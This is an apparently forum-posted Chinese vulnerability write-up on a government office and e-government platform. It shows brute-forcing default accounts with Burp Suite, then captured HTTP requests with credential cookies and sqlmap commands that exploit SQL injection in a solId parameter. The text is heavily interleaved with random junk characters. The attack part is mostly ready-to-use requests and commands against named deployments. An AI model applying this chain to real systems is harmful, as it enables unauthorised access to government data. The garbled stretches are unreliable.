|
$ {; W, z4 t e- V7 h2 r
' Y4 S, F. t6 Y; B8 f8 k
* [& R9 ?% t+ n5 l( k- @" y
5 p- T2 m5 s9 h: @% |7 r: V D/ ] 平台简介:
. U+ I2 \* {3 j/ Q, x$ _/ z
: u7 ?& I& o7 t% F, T0 K: M- W# f" G7 x( @8 @1 }5 j! P
7 I( X6 p' `( ]% O% Q. ]
: A2 N; ~1 b7 S% s. n1 v7 q5 A4 i) N# o3 q& Y1 y. w
北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
/ ^; u/ i3 [! ^" v- ~7 h$ ?同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
u1 e* u! @% H3 S, r同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!% m( G- U- Y- p* f3 B
; g9 T' n7 d- M3 i& j w2 I5 P1 w
9 p/ ~0 a3 W$ q5 o/ O2 f
0 ?! z5 J" U. t5 y$ y7 ?( L* ^
, o! E. }4 v2 }/ K) m% Y 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:
1 K9 D! s( s& J 6 @3 ?" w9 d& p- Z& R7 D# `9 T
4 l, _7 _ g1 n% f+ T
$ L9 k5 O, H+ ]" y / A8 R3 W% M$ j! J# {
x7 @8 z0 ?8 h- X- a5 ^
http://1.1.1.1:7197/cap-aco/#(案例2-)8 Y+ |7 p* T& f
, \% q" I! U" E" `; |3 ^
' e* w% R. }1 t& x- A http://www.XXOO.com (案例1-官网网站)
) ?* I& n7 o* v3 Q7 w0 W. b
: V% m" o: h- L: C6 j6 [( |4 v
: o! d' Z* e# @* b: O+ D ' F5 r5 d$ t3 [5 v6 V) r6 ~. _
; D0 l, r0 x- w" h$ Q# z! Y( d% m% U+ P! i2 Q1 q& U8 H5 K0 m, z
漏洞详情:
( V' O7 ^8 T$ K . I0 c j$ q$ K( B2 i( [2 \
7 F9 ~7 O* D1 i4 {, J; [6 S% h2 n
初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试1 Y" p) I& Q2 b6 m6 v
% U" t5 d' Q# s# {5 V) _, `3 J0 z" z$ ~% i5 i, O, Z
首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:4 G: K- S: D! B2 [: Y0 N
) s! }( |' ] W7 `/ s4 S1 U4 x5 o
# A C. x* a! {9 y
X0 Z8 W! K9 Z# O 3 Q& g, R- }; n" f
Z( R1 `# |+ F- ?( l - m, c9 O# l1 k6 d* o3 Q
- i/ n9 p7 F9 x2 K
3 o6 U* N. h7 P+ _
status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下:
# D. ?1 q+ U- s: N% G # D2 U$ j5 A1 p0 B/ A
. E, b# u" J% P+ l
1、案例1-官方网站: D0 \- Q `8 F" E
( |' h3 ^, A5 S1 i" m ~/ e; C
5 i" K" R0 \3 j& s( B9 g
GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1' A6 a: j7 h) [5 a/ J
/ }/ G H* |1 {; _) R
% V. J$ O$ i& X7 i Host: www.XXOO.com1 A8 w$ X1 m6 ]; P j; a' g
# {0 L. {- k6 H6 |! u; w4 N; P4 C, j# {$ J4 E. k0 \
Proxy-Connection: Keep-Alive
- b' T0 ]: f4 _0 t& t9 Q( J 5 Y3 G. b6 |7 S1 r f; Q0 _
: S. G/ A }# t: I5 ]2 F Accept: application/json, text/javascript, */*; q=0.01
9 C4 C' E% i0 z; w( V a 3 W* |( N+ d* B/ B( q
6 w- {7 } g. T4 l; A Accept-Language: zh-CN. h$ r$ q7 t' }* g, @4 B
2 A' R6 L8 k8 T7 e/ ?9 s5 ?
, P: _, w% y' f- [) B Content-Type: application/json
! s' p; h2 T0 t2 ~9 ?
. W3 u. Q0 ]0 K% u9 ?- q" g1 n1 p, Y. a% y
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
& c: w. `% T7 T4 g9 ?
. ]. D, Y C ]6 r* R: o6 q' ~
8 K- l3 Q1 G9 G8 ^/ K5 \3 l4 R" r2 ? X-Requested-With: XMLHttpRequest
x; H* b* @8 g* ^2 d. Y& ~
6 P% V, l6 i! [2 V: e
$ e! M, |" h1 H- M9 d Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002. n+ p( Z# {) Y" l, i
" o( N/ D8 x: w$ k3 }1 X4 ^
7 b& t& l$ u* p/ _5 D& g$ } Accept-Encoding: gzip, deflate, sdch
2 z0 C: D: Q$ C/ O. I0 v
3 x& T: ?# J! J( ]3 ^2 ^( ?
4 J" V- g' o ` B- K Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e6 ]$ \1 l2 b8 `4 i# j+ y& \4 B
8 _2 s$ s+ j7 {6 \5 H
+ x( @# I/ Z/ ^
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
) b6 C( |, I- m& \ 5 F8 k2 X/ V$ _( D2 X! h4 [' F+ r% u
5 `* w% B- l% _0 M7 J/ Z9 a 5 @7 ^' K& @0 s8 ~8 G% f
0 S' i- X) E% }4 F2 S3 }5 [2 R
7 W' @& T1 E1 ^4 F Q/ i, K2 U
9 D, U/ ^1 m0 q+ }) a5 `! W1 L& e
( q: O5 Q3 S: [$ I6 ^, l }# B8 Y+ f0 ^
, P# Y( l2 R5 n
9 f$ S# C; w- N1 j0 U' p1 I o- d
2 F$ A, S# Y- X1 E {3 }) q ) e6 i- Q8 K, V+ }3 v) ]7 ~$ }
' S0 l& B: X( P8 S0 H4 [/ `* w* Z9 |2 z4 ]6 X
7 ^# G6 C8 v( S) j 5 }+ e1 a$ I# R a3 @6 F
% p# c C4 j& ` 2、案例2-某天河云平台$ R: M! A1 {# k2 y: G
9 ^0 m- V4 Z4 f0 e- M3 }% u) \
& t4 `; R. X: ^7 ] GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1# K$ P4 W6 s8 h, T. E6 Y
7 b, c( }$ w' y0 T% y6 S6 L( }% l8 _6 h9 x( c: M
Host: 1.1.1.:7197
/ B+ v8 {3 c3 H& W& A0 v7 ` 8 L4 A( v7 ^, V$ z- \& F7 u' U
: q# ~' o8 f8 V# P% k Accept: application/json, text/javascript, */*; q=0.01. A; `$ X2 A: S* H X
1 d( V( N& \3 y9 l
1 u6 A' q1 z. m X-Requested-With: XMLHttpRequest
9 n2 P3 Q' A. x - Q& i1 c" j1 }1 U, w7 F) T1 }
4 u- A2 L- x# k0 U+ r( \ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.06 W: z) @4 R- p" P
6 q; a0 Z6 G3 m3 ~- _# p
& S. w; |, a) J# z, P) j Content-Type: application/json
) H* X2 S( p+ m
E9 r6 U2 i4 J( {1 A9 O8 a
) B& N. |+ A. u Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=10080 F$ o& A4 v U& W3 Z* E
6 W* ]- H" w% i* P6 k7 T& @( F, J" w+ T5 Q( F0 ^% G2 {0 m
Accept-Language: zh-CN,zh;q=0.8
3 Q. A, g+ S2 |% m
r' P" k- A) q( b' N9 A q' o: X; H2 g' M; Y% x1 k
Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1
( ^; y3 w0 v7 ?: W0 m8 N- ~
$ ~( O* H* T' b+ ]. v
* W- V4 d% s" L5 f0 \. W0 c! ?- J+ O/ d Connection: close
% P$ s V! i- {/ L ! K. j. [, q! I3 Q
9 p2 p& s2 R& Z
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:/ b% z1 A; D$ u% b
# x- o8 Z" D2 f8 p: S! ?
0 C2 T- ~2 u* q! K% N0 F1 O$ Q 2 p9 w# i' P# e2 v& R
6 \+ x$ O7 w) T j/ N6 A) L' C: r+ C& E9 t; T7 N% m: X
$ z$ N- h2 o' e' r2 m |